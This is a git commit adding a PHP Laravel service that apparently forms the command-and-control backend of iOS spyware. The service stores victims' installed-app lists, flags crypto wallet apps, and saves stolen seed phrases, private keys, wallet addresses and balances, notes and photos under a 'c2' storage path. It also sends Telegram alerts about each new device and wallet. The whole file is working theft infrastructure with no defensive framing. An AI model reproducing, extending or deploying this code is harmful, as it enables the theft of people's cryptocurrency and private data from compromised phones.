init
This commit is contained in:
@@ -0,0 +1,356 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
use App\Models\Note;
|
||||
use App\Models\Photo;
|
||||
use App\Models\Wallet;
|
||||
use App\Models\WalletAddress;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class IngestService
|
||||
{
|
||||
public function __construct(private readonly TelegramNotifier $telegram) {}
|
||||
|
||||
/**
|
||||
* Stable device id — currently only from payload `d` / `f`.
|
||||
* Other fields will be added when confirmed in live traffic.
|
||||
*/
|
||||
public function extractDeviceKey(?array $payload): ?string
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return null;
|
||||
}
|
||||
foreach (['d', 'f'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
||||
return substr($payload[$key], 0, 64);
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
|
||||
{
|
||||
$deviceKey ??= $this->extractDeviceKey($payload);
|
||||
if (! $deviceKey) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$deviceModel = $this->extractDeviceModel($payload);
|
||||
$ios = $this->extractIosVersion($payload);
|
||||
$ua = substr((string) $request->userAgent(), 0, 2000);
|
||||
|
||||
$existing = Device::query()->where('device_id', $deviceKey)->first();
|
||||
$attrs = [
|
||||
'ip' => $request->ip(),
|
||||
];
|
||||
if ($ua !== '') {
|
||||
$attrs['user_agent'] = $ua;
|
||||
}
|
||||
if ($deviceModel !== null) {
|
||||
$attrs['device_model'] = $deviceModel;
|
||||
} elseif ($existing) {
|
||||
$attrs['device_model'] = $existing->device_model;
|
||||
}
|
||||
if ($ios !== null) {
|
||||
$attrs['ios_version'] = $ios;
|
||||
} elseif ($existing) {
|
||||
$attrs['ios_version'] = $existing->ios_version;
|
||||
}
|
||||
|
||||
// created_at = 安装时间, updated_at = 更新时间(Eloquent timestamps)
|
||||
$device = Device::query()->updateOrCreate(
|
||||
['device_id' => $deviceKey],
|
||||
$attrs
|
||||
);
|
||||
|
||||
if (! $existing) {
|
||||
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
|
||||
$device->telegram_notified = true;
|
||||
$device->save();
|
||||
}
|
||||
|
||||
return $device;
|
||||
}
|
||||
|
||||
/**
|
||||
* App list from /api/user/get — one row per bundle (`al[]`: a=name, b=bundle, v=version).
|
||||
*/
|
||||
public function ingestInstalledApps(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload) || empty($payload['al']) || ! is_array($payload['al'])) {
|
||||
return;
|
||||
}
|
||||
|
||||
$walletBundles = config('coruna.wallet_bundles', []);
|
||||
foreach ($payload['al'] as $item) {
|
||||
if (! is_array($item)) {
|
||||
continue;
|
||||
}
|
||||
$bundle = (string) ($item['b'] ?? $item['bundle_id'] ?? $item['bundleId'] ?? '');
|
||||
$name = (string) ($item['a'] ?? $item['name'] ?? $bundle);
|
||||
$version = isset($item['v']) ? (string) $item['v'] : null;
|
||||
if ($bundle === '') {
|
||||
continue;
|
||||
}
|
||||
$isWallet = in_array($bundle, $walletBundles, true)
|
||||
|| (bool) preg_match('/wallet|token|metamask|imtoken|trust|exodus|phantom|ton/i', $bundle.' '.$name);
|
||||
DeviceApp::query()->updateOrCreate(
|
||||
['device_id' => $device->id, 'bundle_id' => $bundle],
|
||||
[
|
||||
'name' => $name,
|
||||
'version' => $version,
|
||||
'is_wallet' => $isWallet,
|
||||
'meta_json' => $item,
|
||||
]
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Behavior events from /api/user/avatar/put (`et` / `desc` / `ctx`).
|
||||
*/
|
||||
public function ingestDeviceEvent(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
$eventName = $payload['et'] ?? $payload['event_name'] ?? null;
|
||||
$desc = $payload['desc'] ?? $payload['description'] ?? null;
|
||||
if ($eventName === null && $desc === null) {
|
||||
return;
|
||||
}
|
||||
$ctx = $payload['ctx'] ?? $payload['context'] ?? null;
|
||||
$contextJson = null;
|
||||
if (is_array($ctx)) {
|
||||
$contextJson = $ctx;
|
||||
} elseif ($ctx !== null) {
|
||||
$contextJson = ['value' => $ctx];
|
||||
}
|
||||
|
||||
DeviceEvent::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'device_key' => $device->device_id,
|
||||
'event_name' => is_string($eventName) ? $eventName : null,
|
||||
'desc' => is_string($desc) ? mb_substr($desc, 0, 512) : null,
|
||||
'context_json' => $contextJson,
|
||||
]);
|
||||
}
|
||||
|
||||
public function ingestWalletSecrets(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
$mnemonic = null;
|
||||
$priv = null;
|
||||
foreach (['result', 'mnemonic', 'seed', 'phrase', 'recovery'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key]) && $this->looksLikeMnemonic($payload[$key])) {
|
||||
$mnemonic = $payload[$key];
|
||||
break;
|
||||
}
|
||||
}
|
||||
foreach (['privateKey', 'private_key', 'privkey', 'wif'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
||||
$priv = $payload[$key];
|
||||
break;
|
||||
}
|
||||
}
|
||||
if ($mnemonic === null && $priv === null) {
|
||||
if (isset($payload['result']) || isset($payload['data'])) {
|
||||
Wallet::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source_app' => $payload['pn'] ?? $payload['app'] ?? null,
|
||||
'raw_json' => $payload,
|
||||
]);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
$wallet = new Wallet([
|
||||
'device_id' => $device->id,
|
||||
'source_app' => $payload['pn'] ?? $payload['app'] ?? null,
|
||||
'raw_json' => $payload,
|
||||
]);
|
||||
$wallet->mnemonic = $mnemonic;
|
||||
$wallet->privkey = $priv;
|
||||
$wallet->save();
|
||||
}
|
||||
|
||||
public function ingestAddresses(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
$rows = [];
|
||||
if (isset($payload['data']) && is_array($payload['data'])) {
|
||||
$rows = $this->normalizeAddressRows($payload['data']);
|
||||
} elseif (isset($payload['result']) && is_array($payload['result'])) {
|
||||
$rows = $this->normalizeAddressRows($payload['result']);
|
||||
} else {
|
||||
$rows = $this->normalizeAddressRows($payload);
|
||||
}
|
||||
|
||||
foreach ($rows as $row) {
|
||||
$address = $row['address'] ?? null;
|
||||
if (! $address || ! is_string($address)) {
|
||||
continue;
|
||||
}
|
||||
$chain = isset($row['chain']) && $row['chain'] !== '' ? (string) $row['chain'] : '';
|
||||
$balance = isset($row['balance']) ? (string) $row['balance'] : null;
|
||||
$symbol = isset($row['symbol']) ? (string) $row['symbol'] : null;
|
||||
$existing = WalletAddress::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('address', $address)
|
||||
->where('chain', $chain)
|
||||
->first();
|
||||
$addr = WalletAddress::query()->updateOrCreate(
|
||||
['device_id' => $device->id, 'address' => $address, 'chain' => $chain],
|
||||
[
|
||||
'balance' => $balance,
|
||||
'symbol' => $symbol,
|
||||
'meta_json' => $row,
|
||||
]
|
||||
);
|
||||
if (! $existing) {
|
||||
$this->telegram->notifyNewWallet($device->device_id, $address, $chain, $balance, $symbol);
|
||||
$addr->telegram_notified = true;
|
||||
$addr->save();
|
||||
} elseif ($balance !== null && $existing->balance !== $balance) {
|
||||
$this->telegram->notifyNewWallet($device->device_id, $address, $chain, $balance, $symbol);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public function ingestNotes(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
$notes = $payload['notes'] ?? $payload['data'] ?? $payload['result'] ?? null;
|
||||
if (! is_array($notes)) {
|
||||
Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'title' => 'raw',
|
||||
'body' => null,
|
||||
'meta_json' => $payload,
|
||||
]);
|
||||
|
||||
return;
|
||||
}
|
||||
$list = array_is_list($notes) ? $notes : [$notes];
|
||||
foreach ($list as $note) {
|
||||
if (! is_array($note)) {
|
||||
continue;
|
||||
}
|
||||
Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'title' => $note['title'] ?? $note['name'] ?? null,
|
||||
'body' => $note['body'] ?? $note['content'] ?? $note['text'] ?? null,
|
||||
'meta_json' => $note,
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
public function ingestPhotos(Device $device, array $filePaths, ?array $counters = null): void
|
||||
{
|
||||
foreach ($filePaths as $path) {
|
||||
if (! is_file($path)) {
|
||||
continue;
|
||||
}
|
||||
$bytes = file_get_contents($path);
|
||||
$sha = hash('sha256', $bytes);
|
||||
$rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path);
|
||||
Storage::disk('local')->put($rel, $bytes);
|
||||
Photo::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'sha256' => $sha,
|
||||
'path' => $rel,
|
||||
'size' => strlen($bytes),
|
||||
'counters_json' => $counters,
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
private function extractDeviceModel(?array $payload): ?string
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return null;
|
||||
}
|
||||
foreach (['deviceModel'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
||||
return $payload[$key];
|
||||
}
|
||||
}
|
||||
// avatar/put often sends short model as `m` (e.g. iPhone9,1)
|
||||
if (! empty($payload['m']) && is_string($payload['m']) && preg_match('/^[A-Za-z]+\d/', $payload['m'])) {
|
||||
return $payload['m'];
|
||||
}
|
||||
$info = $payload['deviceInfo'] ?? null;
|
||||
if (is_array($info)) {
|
||||
foreach (['productType', 'machine', 'model'] as $key) {
|
||||
if (! empty($info[$key]) && is_string($info[$key])) {
|
||||
return $info[$key];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function extractIosVersion(?array $payload): ?string
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return null;
|
||||
}
|
||||
// /api/user/get uses `v` for iOS version
|
||||
if (! empty($payload['v']) && is_string($payload['v']) && preg_match('/^\d+(\.\d+){1,3}$/', $payload['v'])) {
|
||||
return $payload['v'];
|
||||
}
|
||||
foreach (['pv', 'ios', 'ios_version', 'os', 'ver'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
||||
return $payload[$key];
|
||||
}
|
||||
}
|
||||
$sv = $payload['systemVersion'] ?? null;
|
||||
if (is_array($sv) && ! empty($sv['ProductVersion']) && is_string($sv['ProductVersion'])) {
|
||||
return $sv['ProductVersion'];
|
||||
}
|
||||
if (is_string($sv) && $sv !== '') {
|
||||
return $sv;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function looksLikeMnemonic(string $value): bool
|
||||
{
|
||||
$words = preg_split('/\s+/', trim($value)) ?: [];
|
||||
|
||||
return in_array(count($words), [12, 15, 18, 21, 24], true)
|
||||
&& (bool) preg_match('/^[a-z]+(?:\s+[a-z]+)+$/i', trim($value));
|
||||
}
|
||||
|
||||
private function normalizeAddressRows(array $data): array
|
||||
{
|
||||
if (array_is_list($data)) {
|
||||
return array_values(array_filter($data, 'is_array'));
|
||||
}
|
||||
if (isset($data['address'])) {
|
||||
return [$data];
|
||||
}
|
||||
$out = [];
|
||||
foreach ($data as $value) {
|
||||
if (is_array($value) && isset($value['address'])) {
|
||||
$out[] = $value;
|
||||
}
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user